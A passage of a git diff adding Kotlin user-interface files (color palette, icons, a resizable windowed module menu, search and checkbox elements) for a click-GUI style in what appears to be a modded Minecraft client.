b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/ColorManager.kt new file mode 100644 index 0000000..66d8108 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/ColorManager.kt @@ -0,0 +1,15 @@ +package net.ccbluex.liquidbounce.ui.client.clickgui.newVer + +import java.awt.Color + +object ColorManager { + val background = Color(32, 32, 32) + val textBox = Color(31, 31, 31) + val dropDown = Color(45, 45, 45) + val button = Color(52, 52, 52) + val moduleBackground = Color(39, 39, 39) + val unusedSlider = Color(154, 154, 154) + val sliderButton = Color(69, 69, 69) + val border = Color(25, 25, 25) + val buttonOutline = Color(59, 59, 59) +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/IconManager.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/IconManager.kt new file mode 100644 index 0000000..8a3730d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/IconManager.kt @@ -0,0 +1,10 @@ +package net.ccbluex.liquidbounce.ui.client.clickgui.newVer + +import net.minecraft.util.ResourceLocation + +object IconManager { + val removeIcon = ResourceLocation("liquidbounce+/newver/close.png") + val add = ResourceLocation("liquidbounce+/newver/import.png") + val back = ResourceLocation("liquidbounce+/newver/back.png") + val search = ResourceLocation("liquidbounce+/newver/search.png") +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/NewUi.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/NewUi.kt new file mode 100644 index 0000000..1e7f6e8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/NewUi.kt @@ -0,0 +1,417 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.ui.client.clickgui.newVer.IconManager +import net.ccbluex.liquidbounce.ui.client.clickgui.newVer.element.CategoryElement +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.element.SearchElement +import net.ccbluex.liquidbounce.ui.client.gui.options.modernuiLaunchOption.clickGuiConfig +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.AnimationUtils +import net.ccbluex.liquidbounce.utils.MouseUtils.mouseWithinBounds +import net.ccbluex.liquidbounce.utils.Rectangle +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.client.gui.GuiScreen +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.util.MathHelper +import org.apache.commons.lang3.tuple.MutablePair +import org.lwjgl.input.Keyboard +import org.lwjgl.input.Mouse +import java.awt.Color +import java.io.IOException +import java.util.function.Consumer +import kotlin.math.abs + +/** + * @author inf (original java code) + * @author pie (refactored) + */ +class NewUi private constructor() : GuiScreen() { + private val categoryElements: MutableList<CategoryElement> = ArrayList() + private var startYAnim = height / 2f + private var endYAnim = height / 2f + private var searchElement: SearchElement? = null + private var fading = 0f + + private val backgroundColor = Color(16, 16, 16, 255) + private val backgroundColor2 = Color(40, 40, 40, 255) + // 30 + + var windowXStart = 30f + private var windowYStart = 30f + private var windowXEnd = 500f + private var windowYEnd = 400f + private val windowWidth + get() = abs(windowXEnd - windowXStart) + private val windowHeight + get() = abs(windowYEnd - windowYStart) + private val minWindowWidth = 475f + private val minWindowHeight = 350f + + private val searchXOffset = 10f + private val searchYOffset = 30f + + private var sideWidth = 120f + private val categoryXOffset + get() = sideWidth + private val searchWidth + get() = sideWidth - 10f + private val searchHeight = 20f + + private val elementHeight = 24f + private val elementsStartY = 55f + + private val categoriesTopMargin = 20f + private val categoriesBottommargin = 20f + + private val xButtonColor = Color(0.2f, 0f, 0f, 1f) + + private var moveDragging = false + private var resizeDragging = false + private var splitDragging = false + + private var quad = Pair(0, 0) + private val resizeArea = 12f + private var x2 = 0f + private var y2 = 0f + private var xHoldOffset = 0f + private var yHoldOffset = 0f +// private var xAnimDelta = 0f +// private var yAnimDelta = 0f +// private var lastMouseX = 0f +// private var lastMouseY = 0f + + private val moveAera + get() = Rectangle(windowXStart, windowYStart, windowWidth - 20f, 20f) + private val splitArea + get() = Rectangle(windowXStart + sideWidth - 5, windowYStart, 10f, windowHeight) + + + init { + ModuleCategory.values().forEach { categoryElements.add(CategoryElement(it)) } + searchElement = SearchElement(windowXStart + searchXOffset, windowYStart + searchYOffset, searchWidth, searchHeight) + categoryElements[0].focused = true + } + + private fun reload() { + categoryElements.clear() + ModuleCategory.values().forEach { categoryElements.add(CategoryElement(it)) } + categoryElements[0].focused = true + } + + + private fun determineQuadrant(mouseX: Int, mouseY: Int): Pair<Int, Int> { + val result = MutablePair(0, 0) + val offset2 = 0f + if (mouseX.toFloat() in windowXStart-resizeArea..windowXStart-offset2) { + result.left = -1 + xHoldOffset = mouseX - windowXStart + } + if (mouseX.toFloat() in windowXEnd+offset2..windowXEnd+resizeArea) { + result.left = 1 + xHoldOffset = mouseX - windowXEnd + } + if (mouseY.toFloat() in windowYStart-resizeArea..windowYStart-offset2) { + result.right = 1 + yHoldOffset = mouseY - windowYStart + } + if (mouseY.toFloat() in windowYEnd+offset2..windowYEnd+resizeArea) { + result.right = -1 + yHoldOffset = mouseY - windowYEnd + } + return result.toPair() + } + + private fun handleMove(mouseX: Int, mouseY: Int) { // handling move here? yeah prob + if (moveDragging) { + val w = windowWidth + val h = windowHeight + windowXStart = mouseX + x2 + windowYStart = mouseY + y2 + windowXEnd = windowXStart + w + windowYEnd = windowYStart + h +// lastMouseX = mouseX.toFloat() +// lastMouseY = mouseY.toFloat() + } + +// xAnimDelta = AnimationHelper.animation(xAnimDelta, lastMouseX, 0.01f) +// yAnimDelta = AnimationHelper.animation(yAnimDelta, lastMouseY, 0.01f) + } + +// private fun handlingPreRotationAnimation(): Boolean { +// if (!isDoneRotatingAnimation()) { +// GlStateManager.pushMatrix() +// GlStateManager.translate(lastMouseX, lastMouseY, 0F) +// GlStateManager.rotate((lastMouseX - xAnimDelta) / width.toFloat() * 180f + (lastMouseY - yAnimDelta) / (height.toFloat()) * 360f, 0f, 0f, 1f) +// return true +// } +// return false +// } +// +// private fun handlingPostRotationAnimation() { +// if (!isDoneRotatingAnimation()) +// GlStateManager.popMatrix() +// } +// +// private fun isDoneRotatingAnimation() = NewGUI.fastRenderValue.get() || (abs(lastMouseX - xAnimDelta) <= 0f && abs(lastMouseY - yAnimDelta) <= 0f) + + private fun handleResize(mouseX: Int, mouseY: Int) { + val mouseX = mouseX - xHoldOffset + val mouseY = mouseY - yHoldOffset + if (resizeDragging) { + val triangleColor = Color(255, 255, 255) + when (quad.first to quad.second) { + 1 to 1 -> { + windowXEnd = mouseX.coerceAtLeast(windowXStart + minWindowWidth) + windowYStart = mouseY.coerceAtMost(windowYEnd - minWindowHeight) + RenderUtils.drawSquareTriangle(windowXEnd + resizeArea, windowYStart - resizeArea, -resizeArea, resizeArea, triangleColor, true) + } + -1 to -1 -> { + windowXStart = mouseX.coerceAtMost(windowXEnd - minWindowWidth) + windowYEnd = mouseY.coerceAtLeast(windowYStart + minWindowHeight) + RenderUtils.drawSquareTriangle(windowXStart - resizeArea, windowYEnd + resizeArea, resizeArea, -resizeArea, triangleColor, true) + } + + -1 to 1 -> { + windowXStart = mouseX.coerceAtMost(windowXEnd - minWindowWidth) + windowYStart = mouseY.coerceAtMost(windowYEnd - minWindowHeight) + RenderUtils.drawSquareTriangle(windowXStart - resizeArea, windowYStart - resizeArea, resizeArea, resizeArea, triangleColor, true) + } + 1 to -1 -> { + windowXEnd = mouseX.coerceAtLeast(windowXStart + minWindowWidth) + windowYEnd = mouseY.coerceAtLeast(windowYStart + minWindowHeight) + RenderUtils.drawSquareTriangle(windowXEnd + resizeArea, windowYEnd + resizeArea, -resizeArea, -resizeArea, triangleColor, true) + } + } + } + } + + private fun resetPositions() { + windowXStart = 30f + windowYStart = 30f + windowXEnd = 500f + windowYEnd = 400f + resizeDragging = false + moveDragging = false + } + + private fun handleSplit(mouseX: Int) { + if (splitDragging) { + sideWidth = (mouseX - windowXStart).coerceIn(80f, windowWidth/2) + } + } + + private fun handleMisc() { + if (Keyboard.isKeyDown(Keyboard.KEY_F12)) { + resetPositions() + } + if (Keyboard.isKeyDown(Keyboard.KEY_F5)) { + reload() + } + } + + override fun initGui() { + Keyboard.enableRepeatEvents(true) + categoryElements.forEach { cat -> + cat.moduleElements.filter { it.listeningKeybind() }.forEach { mod -> + mod.resetState() + } + } + + super.initGui() + } + + override fun onGuiClosed() { + categoryElements.filter { it.focused }.map { it.handleMouseRelease(-1, -1, 0, 0f, 0f, 0f, 0f) } + moveDragging = false + resizeDragging = false + splitDragging = false + Keyboard.enableRepeatEvents(false) + FDPClient.fileManager.saveConfig(clickGuiConfig) + } + + override fun drawScreen(mouseX: Int, mouseY: Int, partialTicks: Float) { + handleMisc() + handleMove(mouseX, mouseY) + handleResize(mouseX, mouseY) + handleSplit(mouseX) + +// if (handlingPreRotationAnimation()) +// drawFullSized(mouseX, mouseY, partialTicks, NewGUI.accentColor, -mouseX.toFloat(), -mouseY.toFloat()) +// else +// drawFullSized(mouseX, mouseY, partialTicks, NewGUI.accentColor) + drawFullSized(mouseX, mouseY, partialTicks, ClickGUIModule.generateColor()) +// handlingPostRotationAnimation() + } + + private fun drawFullSized(mouseX: Int, mouseY: Int, partialTicks: Float, accentColor: Color, xOffset: Float = 0f, yOffset: Float = 0f) { + val windowRadius = 4f + RenderUtils.drawRoundedRect((windowXStart + xOffset), (windowYStart + yOffset), (windowXEnd + xOffset), (windowYEnd + yOffset), windowRadius, backgroundColor.rgb) + RenderUtils.customRounded((windowXStart + xOffset), (windowYStart + yOffset), (windowXEnd + xOffset), (windowYStart + yOffset) + 20f, windowRadius, windowRadius, 0f, 0f, backgroundColor2.rgb) + + // something to make it look more like windoze - inf, 2022 + if (mouseX.toFloat() in (windowXStart + xOffset)..(windowYStart + yOffset) && mouseY.toFloat() in (windowYStart + yOffset)..(windowYEnd + yOffset)) + fading += 0.2f * RenderUtils.deltaTime * 0.045f + else + fading -= 0.2f * RenderUtils.deltaTime * 0.045f + fading = MathHelper.clamp_float(fading, 0f, 1f) + RenderUtils.customRounded((windowXEnd + xOffset) - 20f, (windowYStart + yOffset), (windowXEnd + xOffset), (windowYStart + yOffset) + 20f, 0f, windowRadius, 0f, 0f, xButtonColor.rgb) + GlStateManager.disableAlpha() + RenderUtils.drawImage( + IconManager.removeIcon, + ((windowXEnd + xOffset) - 15.0).toInt(), ((windowYStart + yOffset) + 5.0).toInt(), 10, 10 + ) + GlStateManager.enableAlpha() + + // reset search pos + searchElement!!.xPos = (windowXStart + xOffset) + searchXOffset + searchElement!!.yPos = (windowYStart + yOffset) + searchYOffset + searchElement!!.width = searchWidth + + // taken from searchBox's constructor + searchElement!!.searchBox.width = searchWidth.toInt() - 4 + searchElement!!.searchBox.xPosition = ((windowXStart + xOffset) + searchXOffset + 2).toInt() + searchElement!!.searchBox.yPosition = ((windowYStart + yOffset) + searchYOffset + 2).toInt() + + if (searchElement!!.drawBox(mouseX, mouseY, accentColor)) { + searchElement!!.drawPanel(mouseX, mouseY, (windowXStart + xOffset) + categoryXOffset, (windowYStart + yOffset) + categoriesTopMargin, windowWidth - categoryXOffset, windowHeight - categoriesBottommargin, Mouse.getDWheel(), categoryElements, accentColor) + return + } + + var startY = (windowYStart + yOffset) + elementsStartY + var lastFastYStart = 0f + var lastFastYEnd = 0f + + for (ce in categoryElements) { + ce.drawLabel(mouseX, mouseY, (windowXStart + xOffset), startY, categoryXOffset, elementHeight) + if (ce.focused) { + lastFastYStart = startY + 6f + lastFastYEnd = startY + elementHeight - 6f + startYAnim = if (ClickGUIModule.fastRenderValue.get()) + startY + 6f + else + AnimationUtils.animate(startY + 6f, + startYAnim, + (if (startYAnim - (startY + 5f) > 0) 0.65f else 0.55f) * RenderUtils.deltaTime * 0.025f + ) + endYAnim = if (ClickGUIModule.fastRenderValue.get()) + startY + elementHeight - 6f + else + AnimationUtils.animate( + startY + elementHeight - 6f, + endYAnim, + (if (endYAnim - (startY + elementHeight - 5f) < 0) 0.65f else 0.55f) * RenderUtils.deltaTime * 0.025f + ) + ce.drawPanel(mouseX, mouseY, (windowXStart + xOffset) + categoryXOffset, (windowYStart + yOffset) + categoriesTopMargin, windowWidth - categoryXOffset, windowHeight - categoriesBottommargin, Mouse.getDWheel(), accentColor) + Fonts.font40.drawString(ce.name, (windowXStart + xOffset) + 7, (windowYStart + yOffset) + 7, -1) + } + startY += elementHeight + } + val offset = 8f + val drawYStart = if (resizeDragging || moveDragging) lastFastYStart else startYAnim + val drawYEnd = if (resizeDragging || moveDragging) lastFastYEnd else endYAnim + RenderUtils.drawRoundedRect((windowXStart + xOffset) + 2f + offset, drawYStart, (windowXStart + xOffset) + 4f + offset, drawYEnd, 1f, accentColor.rgb) + super.drawScreen(mouseX, mouseY, partialTicks) + } + + @Throws(IOException::class) + override fun mouseClicked(mouseX: Int, mouseY: Int, mouseButton: Int) { + // search back button + if (searchElement!!.isTyping() && Rectangle(windowXStart, windowYStart, 60f, 24f).contains(mouseX, mouseY)) { + searchElement!!.searchBox.text = "" + return + } + + // window move + if (moveAera.contains(mouseX, mouseY) && !moveDragging) { + moveDragging = true + x2 = windowXStart - mouseX + y2 = windowYStart - mouseY + return + } + + // close button + if (Rectangle(windowXEnd - 20, windowYStart, 20f, 20f).contains(mouseX, mouseY)) { + mc.displayGuiScreen(null) + return + } + + if (splitArea.contains(mouseX, mouseY)) { + splitDragging = true + return + } + + // window resize + val quad2 = determineQuadrant(mouseX, mouseY) + if (quad2.first != 0 && quad2.second != 0) { + quad = quad2 + resizeDragging = true + return + } + + + var startY = windowYStart + elementsStartY + + searchElement!!.handleMouseClick(mouseX, mouseY, mouseButton, windowXStart + categoryXOffset, windowYStart + categoriesTopMargin, windowWidth - categoryXOffset, windowHeight - categoriesBottommargin, categoryElements) + if (!searchElement!!.isTyping()) { + categoryElements.forEach { cat -> + if (cat.focused) + cat.handleMouseClick(mouseX, mouseY, mouseButton, windowXStart + categoryXOffset, windowYStart + categoriesTopMargin, windowWidth - categoryXOffset, windowHeight - categoriesBottommargin) + if (mouseWithinBounds(mouseX, mouseY, windowXStart, startY, windowXStart + categoryXOffset, startY + elementHeight) && !searchElement!!.isTyping()) { + categoryElements.forEach(Consumer { e: CategoryElement -> e.focused = false }) + cat.focused = true + return + } + startY += elementHeight + } + } + } + + override fun mouseReleased(mouseX: Int, mouseY: Int, state: Int) { + if (moveDragging && moveAera.contains(mouseX, mouseY)) { + moveDragging = false + return + } + + if (resizeDragging) + resizeDragging = false + + if (splitDragging) + splitDragging = false + + searchElement!!.handleMouseRelease(mouseX, mouseY, state, windowXStart + categoryXOffset, windowYStart + categoriesTopMargin, windowWidth - categoryXOffset, windowHeight - categoriesBottommargin, categoryElements) + if (!searchElement!!.isTyping()) { + categoryElements.filter { it.focused }.forEach { cat -> + cat.handleMouseRelease(mouseX, mouseY, state, windowXStart + categoryXOffset, windowYStart + categoriesTopMargin, windowWidth - categoryXOffset, windowHeight - categoriesBottommargin) + } + } + super.mouseReleased(mouseX, mouseY, state) + } + + @Throws(IOException::class) + override fun keyTyped(typedChar: Char, keyCode: Int) { + categoryElements.filter { it.focused }.forEach { cat -> + if (cat.handleKeyTyped(typedChar, keyCode)) return + } + + if (searchElement!!.handleTyping(typedChar, keyCode, windowXStart + categoryXOffset, windowYStart + categoriesTopMargin, windowWidth - categoryXOffset, windowHeight - categoriesBottommargin, categoryElements)) + return + super.keyTyped(typedChar, keyCode) + } + + override fun doesGuiPauseGame(): Boolean { + return false + } + + companion object { + private var instance: NewUi? = null + fun getInstance(): NewUi { + return if (instance == null) NewUi().also { instance = it } else instance!! + } + + fun resetInstance() { + instance = NewUi() + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/CategoryElement.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/CategoryElement.kt new file mode 100644 index 0000000..5c03a2f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/CategoryElement.kt @@ -0,0 +1,123 @@ +package net.ccbluex.liquidbounce.ui.client.clickgui.newVer.element + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.ui.client.clickgui.newVer.ColorManager +import net.ccbluex.liquidbounce.ui.client.clickgui.newVer.element.module.ModuleElement +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.extensions.animSmooth +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.utils.MouseUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import org.lwjgl.opengl.GL11 +import java.awt.Color +import kotlin.math.abs + +class CategoryElement(val category: ModuleCategory): MinecraftInstance() { + val name = category.displayName + var focused = false + + private var scrollHeight = 0F + private var animScrollHeight = 0F + private var lastHeight = 0F + + private val startYY = 5f + + val moduleElements = mutableListOf<ModuleElement>() + + init { + FDPClient.moduleManager.modules.filter { it.category == category }.forEach { moduleElements.add(ModuleElement(it)) } + } + + fun drawLabel(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float, height: Float) { + if (focused) + RenderUtils.drawRoundedRect(x + 11F, y + 3F, x + width - 3F, y + height - 3F, 3F, ColorManager.dropDown.rgb) + else if (MouseUtils.mouseWithinBounds(mouseX, mouseY, x, y, x + width, y + height)) + RenderUtils.drawRoundedRect(x + 11F, y + 3F, x + width - 3F, y + height - 3F, 3F, ColorManager.border.rgb) + Fonts.font40.drawString(name, x + 16F, y + height / 2F - Fonts.font40.FONT_HEIGHT / 2F + 2F, -1) + } + + fun drawPanel(mX: Int, mY: Int, x: Float, y: Float, width: Float, height: Float, wheel: Int, accentColor: Color) { + var mouseX = mX + var mouseY = mY + lastHeight = 0F + for (me in moduleElements) + lastHeight += 40F + me.animHeight + if (lastHeight >= 10F) + lastHeight -= 10F + handleScrolling(wheel, height) + drawScroll(x, y + 50F, width, height) + if (mouseY < y + 50F || mouseY >= y + height) + mouseY = -1 + RenderUtils.makeScissorBox(x, y + startYY, x + width, y + height) + GL11.glEnable(3089) + var startY = y + startYY + for (moduleElement in moduleElements) { + if (startY + animScrollHeight > y + height || startY + animScrollHeight + 40F + moduleElement.animHeight < y + startYY) + startY += 40F + moduleElement.animHeight + else + startY += moduleElement.drawElement(mouseX, mouseY, x, startY + animScrollHeight, width, 40F, accentColor) + } + GL11.glDisable(3089) + } + + private fun handleScrolling(wheel: Int, height: Float) { + if (wheel != 0) { + if (wheel > 0) + scrollHeight += 50F + else + scrollHeight -= 50F + } + if (lastHeight > height - (startYY + 10F)) + scrollHeight = scrollHeight.coerceIn(-lastHeight + height - (startYY + 10F), 0F) + else + scrollHeight = 0F + animScrollHeight = animScrollHeight.animSmooth(scrollHeight, 0.5F) + } + + private fun drawScroll(x: Float, y: Float, width: Float, height: Float) { + if (lastHeight > height - (startYY + 10F)) { + val last = (height - (startYY + 10F)) - (height - (startYY + 10F)) * ((height - (startYY + 10F)) / lastHeight) + val multiply = last * abs(animScrollHeight / (-lastHeight + height - (startYY + 10F))).coerceIn(0F, 1F) + RenderUtils.drawRoundedRect( + x + width - 6F, + y + multiply - 40f, + x + width - 4F, + y + (height - (startYY + 10F)) * ((height - (startYY + 10F)) / lastHeight) + multiply - 40f, + 1F, Color(0x50FFFFFF).rgb) + } + } + + fun handleMouseClick(mX: Int, mY: Int, mouseButton: Int, x: Float, y: Float, width: Float, height: Float) { + var mouseX = mX + var mouseY = mY + if (mouseY < y + startYY || mouseY >= y + height) + mouseY = -1 + var startY = y + startYY + if (mouseButton == 0) + for (moduleElement in moduleElements) { + moduleElement.handleClick(mouseX, mouseY, x, startY + animScrollHeight, width, 40F) + startY += 40F + moduleElement.animHeight + } + } + + fun handleMouseRelease(mX: Int, mY: Int, mouseButton: Int, x: Float, y: Float, width: Float, height: Float) { + var mouseX = mX + var mouseY = mY + if (mouseY < y + startYY || mouseY >= y + height) + mouseY = -1 + var startY = y + startYY + if (mouseButton == 0) + for (moduleElement in moduleElements) { + moduleElement.handleRelease(mouseX, mouseY, x, startY + animScrollHeight, width, 40F) + startY += 40F + moduleElement.animHeight + } + } + + fun handleKeyTyped(keyTyped: Char, keyCode: Int): Boolean { + for (moduleElement in moduleElements) + if (moduleElement.handleKeyTyped(keyTyped, keyCode)) + return true + return false + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/SearchBox.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/SearchBox.kt new file mode 100644 index 0000000..ba181be --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/SearchBox.kt @@ -0,0 +1,8 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.element + +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.minecraft.client.gui.GuiTextField + +class SearchBox(componentId: Int, x: Int, y: Int, width: Int, height: Int): GuiTextField(componentId, Fonts.font40, x, y, width, height) { + override fun getEnableBackgroundDrawing() = false +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/SearchElement.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/SearchElement.kt new file mode 100644 index 0000000..f04df0f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/SearchElement.kt @@ -0,0 +1,170 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.element + +import net.ccbluex.liquidbounce.ui.client.clickgui.newVer.ColorManager +import net.ccbluex.liquidbounce.ui.client.clickgui.newVer.IconManager +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.NewUi +import net.ccbluex.liquidbounce.ui.client.clickgui.newVer.element.CategoryElement +import net.ccbluex.liquidbounce.ui.client.clickgui.newVer.element.module.ModuleElement +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.extensions.animSmooth +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.MouseUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.Stencil +import net.minecraft.client.renderer.GlStateManager +import org.lwjgl.opengl.GL11 +import java.awt.Color +import kotlin.math.abs + +class SearchElement(var xPos: Float, var yPos: Float, var width: Float, val height: Float) { + + private var scrollHeight = 0F + private var animScrollHeight = 0F + private var lastHeight = 0F + private val startYY = 5f + + val searchBox = SearchBox(0, xPos.toInt() + 2, yPos.toInt() + 2, width.toInt() - 4, height.toInt() - 2) + + fun drawBox(mouseX: Int, mouseY: Int, accentColor: Color): Boolean { +// RoundedRectShader.draw(xPos - 0.5F, yPos - 0.5F, xPos + width + 0.5F, yPos + height + 0.5F, 4F, ColorManager.buttonOutline) + Stencil.write(true) + RenderUtils.drawRoundedRect(xPos, yPos, xPos + width, yPos + height, 4F, ColorManager.textBox.rgb) + Stencil.erase(true) + if (searchBox.isFocused) { + RenderUtils.newDrawRect(xPos, yPos + height - 1F, xPos + width, yPos + height, accentColor.rgb) + searchBox.drawTextBox() + } else if (searchBox.text.isEmpty()) { + searchBox.text = "Search" + searchBox.drawTextBox() + searchBox.text = "" + } else + searchBox.drawTextBox() + + Stencil.dispose() + GlStateManager.disableAlpha() + RenderUtils.drawImage2(IconManager.search, xPos + width - 15F, yPos + 5F, 10, 10) + GlStateManager.enableAlpha() + return searchBox.text.isNotEmpty() + } + + private fun searchMatch(module: ModuleElement): Boolean { + return module.module.name.contains(searchBox.text, true) + } + + private fun getSearchModules(ces: List<CategoryElement>): List<ModuleElement> { + val modules = mutableListOf<ModuleElement>() + ces.forEach { cat -> + modules.addAll(cat.moduleElements.filter { searchMatch(it) }) + } + return modules + } + + fun drawPanel(mX: Int, mY: Int, x: Float, y: Float, w: Float, h: Float, wheel: Int, ces: List<CategoryElement>, accentColor: Color) { + var mouseX = mX + var mouseY = mY + lastHeight = 0F + + getSearchModules(ces).forEach { mod -> + if (searchMatch(mod)) { + lastHeight += mod.animHeight + 40F + } + } + + if (lastHeight >= 10F) lastHeight -= 10F + handleScrolling(wheel, h) + drawScroll(x, y + startYY, w, h) + + +// Fonts.fontLarge.drawString("Search", x + 10F, y + 10F, -1) + Fonts.fontSmall.drawString("Search", NewUi.getInstance().windowXStart + 20f, y - 12F, -1) + RenderUtils.drawImage2(IconManager.back, NewUi.getInstance().windowXStart + 4f, y - 15F, 10, 10) + + var startY = y + startYY + if (mouseY < y + startYY || mouseY >= y + h) + mouseY = -1 + RenderUtils.makeScissorBox(x, y + startYY, x + w, y + h) + GL11.glEnable(GL11.GL_SCISSOR_TEST) + ces.forEach { cat -> + cat.moduleElements.forEach { mod -> + if (searchMatch(mod)) { + startY += if (startY + animScrollHeight > y + h || startY + animScrollHeight + 40F + mod.animHeight < y + startYY) + 40F + mod.animHeight + else + mod.drawElement(mouseX, mouseY, x, startY + animScrollHeight, w, 40F, accentColor) + } + } + } + + GL11.glDisable(GL11.GL_SCISSOR_TEST) + } + + private fun handleScrolling(wheel: Int, height: Float) { + if (wheel != 0) { + if (wheel > 0) + scrollHeight += 50F + else + scrollHeight -= 50F + } + if (lastHeight > height - (startYY + 10f)) + scrollHeight = scrollHeight.coerceIn(-lastHeight + height - (startYY + 10f), 0F) + else + scrollHeight = 0F + animScrollHeight = animScrollHeight.animSmooth(scrollHeight, 0.5F) + } + + private fun drawScroll(x: Float, y: Float, width: Float, height: Float) { + if (lastHeight > height - (startYY + 10F)) { + val last = (height - (startYY + 10F)) - (height - (startYY + 10F)) * ((height - (startYY + 10F)) / lastHeight) + val multiply = last * abs(animScrollHeight / (-lastHeight + height - (startYY + 10F))).coerceIn(0F, 1F) + RenderUtils.originalRoundedRect( + x + width - 6F, + y + 5F + multiply, + x + width - 4F, + y + 5F + (height - (startYY + 10F)) * ((height - (startYY + 10F)) / lastHeight) + multiply, + 1F, 0x50FFFFFF) + } + } + + fun handleMouseClick(mX: Int, mY: Int, mouseButton: Int, x: Float, y: Float, w: Float, h: Float, ces: List<CategoryElement>) { + if (MouseUtils.mouseWithinBounds(mX, mY, x - 200F, y - 20F, x - 170F, y)) { +// searchBox.text = "" + return + } + var mouseY = mY + searchBox.mouseClicked(mX, mouseY, mouseButton) + if (searchBox.text.isEmpty()) return + if (mouseY < y + startYY || mouseY >= y + h) + mouseY = -1 + var startY = y + startYY + + getSearchModules(ces).forEach { mod -> + mod.handleClick(mX, mouseY, x, startY + animScrollHeight, w, 40F) + startY += 40F + mod.animHeight + } + } + + fun handleMouseRelease(mX: Int, mY: Int, mouseButton: Int, x: Float, y: Float, w: Float, h: Float, ces: List<CategoryElement>) { + var mouseX = mX + var mouseY = mY + if (searchBox.text.isEmpty()) return + if (mouseY < y + startYY || mouseY >= y + h) + mouseY = -1 + var startY = y + startYY + getSearchModules(ces).forEach { mod -> + mod.handleRelease(mouseX, mouseY, x, startY + animScrollHeight, w, 40F) + startY += 40F + mod.animHeight + } + } + + fun handleTyping(typedChar: Char, keyCode: Int, x: Float, y: Float, w: Float, h: Float, ces: List<CategoryElement>): Boolean { + searchBox.textboxKeyTyped(typedChar, keyCode) + if (searchBox.text.isEmpty()) return false + getSearchModules(ces).forEach { mod -> + if (mod.handleKeyTyped(typedChar, keyCode)) + return true + } + return false + } + + fun isTyping(): Boolean = searchBox.text.isNotEmpty() + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/components/Checkbox.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/components/Checkbox.kt new file mode 100644 index 0000000..33caace --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/components/Checkbox.kt @@ -0,0 +1,25 @@ +package net.ccbluex.liquidbounce.ui.client.clickgui.newVer.element.components + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.extensions.animLinear +import net.ccbluex.liquidbounce.utils.render.BlendUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import org.lwjgl.opengl.GL11 +import java.awt.Color + +class Checkbox { + private var smooth = 0F + var state = false + + fun onDraw(x: Float, y: Float, width: Float, height: Float, bgColor: Color, accentColor: Color) { + smooth = smooth.animLinear((if (state) 0.2F else -0.2F) * RenderUtils.deltaTime * 0.045F, 0F, 1F) + val borderColor = BlendUtils.blendColors(floatArrayOf(0F, 1F), arrayOf(Color(160, 160, 160), accentColor), smooth) + val mainColor = BlendUtils.blendColors(floatArrayOf(0F, 1F), arrayOf(bgColor, accentColor), smooth) + + RenderUtils.drawRoundedRect(x - 0.5F, y - 0.5F, x + width + 0.5F, y + width + 0.5F, 3F, borderColor.rgb) + RenderUtils.drawRoundedRect(x, y, x + width, y + width, 3F, mainColor.rgb) + GL11.glColor4f(bgColor.red / 255F, bgColor.green / 255F, bgColor.blue / 255F, 1F) +// 